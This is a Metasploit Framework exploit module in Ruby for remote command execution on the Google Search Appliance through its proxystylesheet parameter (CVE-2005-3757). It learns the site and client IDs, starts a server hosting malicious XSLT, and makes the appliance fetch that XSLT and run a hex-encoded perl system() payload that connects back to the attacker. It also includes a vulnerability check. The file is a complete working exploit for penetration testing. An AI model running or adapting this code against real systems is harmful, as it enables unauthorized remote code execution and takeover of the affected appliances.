##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',
      'Description'    => %q{
        This module exploits a feature in the Saxon XSLT parser used by
      the Google Search Appliance. This feature allows for arbitrary
      java methods to be called. Google released a patch and advisory to 
      their client base in August of 2005 (GA-2005-08-m). The target appliance
      must be able to connect back to your machine for this exploit to work.    
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2005-3757'],
          ['OSVDB', '20981'],
          ['BID', '15509'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 4000,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl bash telnet netcat-e',
            }
        },    
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Aug 16 2005',
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DefaultTarget' => 0))
  end

  # Handle incoming requests from the appliance
  def on_request_uri(cli, request)
  
    print_status("Handling new incoming HTTP request...")
    
    path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")
    
    fd = File.open(path, "r")
    data = fd.read
    fd.close

    exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
    data.gsub!(/:x:MSF:x:/, exec_str)
    send_response(cli, data)
  end
  
  def check
    res = send_request_cgi({
      'uri'      => '/search',
      'vars_get' => 
      {
        'client'          => rand_text_alpha(rand(15)+1),
        'site'            => rand_text_alpha(rand(15)+1),
        'output'          => 'xml_no_dtd',
        'q'               => rand_text_alpha(rand(15)+1),
        'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'
      }
    }, 10)
    
    if (res and res.body =~ /cannot be resolved to an ip address/)
      print_status("This system appears to be vulnerable")
      return Exploit::CheckCode::Vulnerable
    end
    
    if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
      print_status("This system appears to be patched")
    end
    
    print_status("This system is not exploitable")
    return Exploit::CheckCode::Safe
  end
  
  
  def exploit
  
    print_status("Obtaining the appliance site and client IDs...")
    # Send a HTTP/1.0 request to learn the site configuration
    res = send_request_raw({
      'uri'     => '/',
      'version' => '1.0'
    }, 10)
    
    if !(res and res['location'] and res['location'] =~ /site=/)
      print_status("Could not read the location header: #{res.code} #{res.message}")
      return
    end
    
    m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
    if !(m and m[1] and m[2])
      print_status("Invalid location header: #{res['location']}")
      return    
    end
  
    print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
    start_service
  
    print_status("Requesting a search using our custom XSLT...")
    res = send_request_cgi({
      'uri'      => '/search',
      'vars_get' => 
      {
        'client'          => m[2],
        'site'            => m[1],
        'output'          => 'xml_no_dtd',
        'q'               => rand_text_alpha(rand(15)+1),
        'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
        'proxyreload'     => '1'
      }
    }, 25)
    
    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
      print_status("Waiting on the payload to execute...")
      sleep(20)
    else
      print_status("No response from the server")
    end
    
    print_status("Shutting down the web service...")
    stop_service
  end
  
end